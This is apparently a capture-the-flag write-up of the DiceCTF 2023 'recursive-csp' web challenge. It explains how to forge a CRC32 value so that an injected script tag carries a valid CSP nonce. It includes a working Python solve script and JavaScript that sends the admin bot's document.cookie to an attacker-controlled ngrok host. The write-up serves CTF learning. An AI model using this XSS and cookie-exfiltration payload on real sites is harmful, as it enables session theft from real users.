# DiceCTF 2023 Categories: web 2023-02-07 ### Recursive-csp >the nonce isn't random, so how hard could this be? >(the flag is in the admin bot's cookie) > recursive-csp.mc.ax > Admin Bot Author: strellic ## Challenge ### Overview We are presented with a basic website, that prompts us for our name. ![](https://i.imgur.com/hC6Ojyi.png) When we inspect the script, we can actually see a link to `/?source`, which gives us the entire source of the website: ```php <?php if (isset($_GET["source"])) highlight_file(__FILE__) && die(); $name = "world"; if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { $name = $_GET["name"]; } $nonce = hash("crc32b", $name); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); ?> <!DOCTYPE html> <html> <head> <title>recursive-csp</title> </head> <body> <h1>Hello, <?php echo $name ?>!</h1> <h3>Enter your name:</h3> <form method="GET"> <input type="text" placeholder="name" name="name" /> <input type="submit" /> </form> <!-- /?source --> </body> </html> ``` Since we have an admin bot, that has a cookie set for this website, and some query parameter, that is displayed on the webpage as-is, we can assume that we want to do a XSS attack, to exfiltrate the document cookie. But the trick is, the CSP forbids us from using any img:src/onerror/fetch tricks, and instead only allows us to use script with correct nonce set. If we try to submit `<script nonce=00000000>console.log(1)</script>`, we get an error in our console: ![Console error](https://i.imgur.com/VFPXxfV.png) So we want to create a script that includes its own nonce in it. Also notice, that we are limited to **128** characters. ### CRC32 Because of the way crc32 works, we can create any crc, we just have to have 32 bits of freedom in our payload. For more info check out [CRC wiki](https://en.wikipedia.org/wiki/Cyclic_redundancy_check#Data_integrity), but essentially: ![CRC property](https://i.imgur.com/o3QFHcZ.png) - We want CRC$(x \oplus y)$ to be 0. (Here we can choose any crc, but for lack of imagination, I chose 0). - We have a payload $x$ of which we can change some bits, but at first it has wrong crc. - $y$ here will be our *correction* string. It will have the same length as $x$, but it will only consist of zeroes, except for the predefined locations, that will be either 0 or 1. We need as many free bits as the length of the crc we are trying to manipulate = 32. - $c$ is dependant only on the len(x) (==len(y)), so we can also compute it. Let's say, we want to have a payload where all the characters are printable. Therefore, we can have some characters, of bit form `0x1xxxxx`, where `x` can be either 1 or 0. That way, no matter the `x`'s we always land on the printable character in [ascii table](https://www.asciitable.com/). Because we need control of 32 bits, and one character provides 6 degrees of freedom, we thus need **6** such characters. The idea for the $x$ part of the payload could then be: ```html! <script nonce=00000000 src="https://our_malicious_website_but_not_too_long.com/script.js"></script>bbbbbb ``` The evil script would then add another script tag to the document with javascript, which would include cookies in it's request. Something along the lines of: ```js! document.write('<script nonce=00000000 src="https://our_malicious_website_but_not_too_long.com?cookie='+encodeURI(document.cookie)+'"></script>'); ``` We have to be careful, to match the nonce of the imported script with the first script's nonce. Then we can programatically flip bits of the last 6 characters, to match nonce with it's crc. ### CRC spoof We could write our own script to do that, but I found this great repository, writtten in C: [https://github.com/madler/spoof](https://github.com/madler/spoof), which allows us to do precisely that. We have to generate a config file, that we will feed to `spoof` binary, which then produces a list of bit flips. Then we can utilize `flip` binary to execute the bit flips on a given file. The config file looks like this: ``` <crc degree> <crc polynom> <is polynom reflected> <xor of current and desired crc> <message length in bytes> <byte pos 1> <flip bit pos1> <byte pos 2> <flip bit pos2> ... ``` In our example, we can give the script $x$'s own crc as the xor, so at the end we get final crc zeroed out. Message length also varies along with the bit positions of last 6 characters. Note: the `spoof` script expects bit positions in MSB manner: so bit positions 0,1,2,3,4&6. ``` 32 04c11db7 1 <our crc> <message len> <b1> 0 <b1> 1 ... <b6> 4 <b6> 6 ``` - `32`, because this is crc**32** - `04c11db7` & `1` because this is the standard for this crc ### The solve script With all this information, we can begin to construct our solution script. I'll be utilizing ngrok, because it provides https url, that we need to bypass csp. ```python! import subprocess from urllib.parse import quote import os from binascii import crc32 from itertools import product import random from pyngrok import ngrok import tempfile SPOOFDIR = "/opt/spoof_crc" WORKDIR = tempfile.mkdtemp() ATTACK_WEBSITE = "https://recursive-csp.mc.ax" PORT = random.randint(1000, 9999) print("Using workdir:", WORKDIR) # Create ngrok tunnel ngrok_tunnel = ngrok.connect( PORT, 'http', bind_tls=True) # Don't forget bind_tls! ngrok_public_url = ngrok_tunnel.public_url print("Ngrok public url:", ngrok_public_url) # Create payload PAD_CHAR = "b" payload = f"<script nonce=00000000 src=\"{ngrok_public_url}/s.js\"></script>" + 'b'*6 with open(f"{WORKDIR}/payload", "w") as wf: wf.write(payload) # Do the spoofing def generate_spoof_conf(msg_in: bytes): msg_len = len(msg_in) b_start = msg_len - 6 bit_pos = [f'{bytepos} {bitpos}' for bytepos, bitpos in product(range(b_start, msg_len), (0, 1, 2, 3, 4, 6))] x_crc = f"{crc32(msg_in):08x}" print("Initial CRC:", x_crc) with open(f"{WORKDIR}/conf", "w") as wf: wf.write("32 04c11db7 1\n") wf.write(f"{x_crc} {msg_len}\n") wf.write('\n'.join(bit_pos)) generate_spoof_conf(payload.encode('ascii')) os.system( f"{SPOOFDIR}/spoof < {WORKDIR}/conf | {SPOOFDIR}/flip {WORKDIR}/payload" ) with open(f"{WORKDIR}/payload") as rf: payload = rf.read() # Now crc32(payload) = 00000000 # Generating malicious javascript def generate_javascript(ngrok_url: str): script = f""" CALLBACK_URL = "{ngrok_url}"; document.write('<script nonce=00000000 src="'+CALLBACK_URL+'?cookie='+encodeURI(document.cookie)+'"></script>'); """.strip() with open(f"{WORKDIR}/s.js", "w") as wf: wf.write(script) generate_javascript(ngrok_public_url) # We are ready to serve our evilness srv = subprocess.Popen(["python3", "-m", "http.server", str(PORT)], cwd=WORKDIR) # urlencode the payload payload = quote(payload) print("\n\nSend this to admin:\n") print(f"{ATTACK_WEBSITE}/?name={payload}\n\n") try: input("Press enter to exit\n") except KeyboardInterrupt: pass srv.send_signal(subprocess.signal.SIGINT) srv.wait() ngrok.kill() # Remove WORKDIR try: os.system(f"rm -rf {WORKDIR}") except: print("Failed to remove workdir") ``` When we run the script, we just wait for admin to hand over his cookie and then press any key to stop the server. When finished just press any key to stop the server